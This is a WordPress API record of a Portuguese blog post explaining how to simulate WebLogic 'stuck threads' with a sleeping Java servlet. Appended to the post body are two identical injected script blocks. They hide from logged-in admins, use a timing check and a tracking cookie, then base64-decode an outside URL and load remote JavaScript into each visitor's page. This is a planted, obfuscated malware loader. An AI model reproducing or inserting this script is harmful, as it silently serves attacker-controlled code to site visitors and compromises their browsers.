{"id":2576,"date":"2012-09-06T10:34:41","date_gmt":"2012-09-06T13:34:41","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2576"},"modified":"2025-10-26T22:35:26","modified_gmt":"2025-10-27T01:35:26","slug":"stuck-threads-no-weblogic","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/09\/06\/stuck-threads-no-weblogic\/","title":{"rendered":"Stuck Threads no WebLogic"},"content":{"rendered":"<p style=\"text-align: justify;\">Um problema comum para tarefas demoradas no WebLogic \u00e9 o famoso Stuck Thread. Para simular esse problema \u00e9 s\u00f3 criar um projeto Web com uma servlet com o seguinte c\u00f3digo: (Aten\u00e7\u00e3o!!! N\u00e3o fa\u00e7a isso em casa. Isso \u00e9 feito por profissionais treinados :D)<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\npackage br.com.thiagovespa.stuckthread.web.servlet;\n\nimport java.io.IOException;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class LongRunningServlet extends HttpServlet {\n\tprivate static final long serialVersionUID = 1L;\n\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tfor(int i=0;i&lt;30;i++) { \/\/ 15min\n\t\t\ttry {\n\t\t\t\tSystem.out.println(&quot;Estou executando: &quot; + i);\n\t\t\t\tThread.sleep(30*1000); \/\/0.5 segundo\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\/\/ TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n}\n\n<\/pre>\n<p style=\"text-align: justify;\">Thread e System.out no c\u00f3digo (como eu disse.. n\u00e3o fa\u00e7a isso em casa e nem no trabalho :)).<br \/>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Um problema comum para tarefas demoradas no WebLogic \u00e9 o famoso Stuck Thread. Para simular esse problema \u00e9 s\u00f3 criar um projeto Web com uma servlet com o seguinte c\u00f3digo: (Aten\u00e7\u00e3o!!! N\u00e3o fa\u00e7a isso em casa. Isso \u00e9 feito por <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/09\/06\/stuck-threads-no-weblogic\/\">Continue lendo  <span class=\"screen-reader-text\">  Stuck Threads no WebLogic<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,9,6],"tags":[],"class_list":["post-2576","post","type-post","status-publish","format-standard","hentry","category-java","category-oracle","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2576","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2576"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2576\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2576"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2576"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2576"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}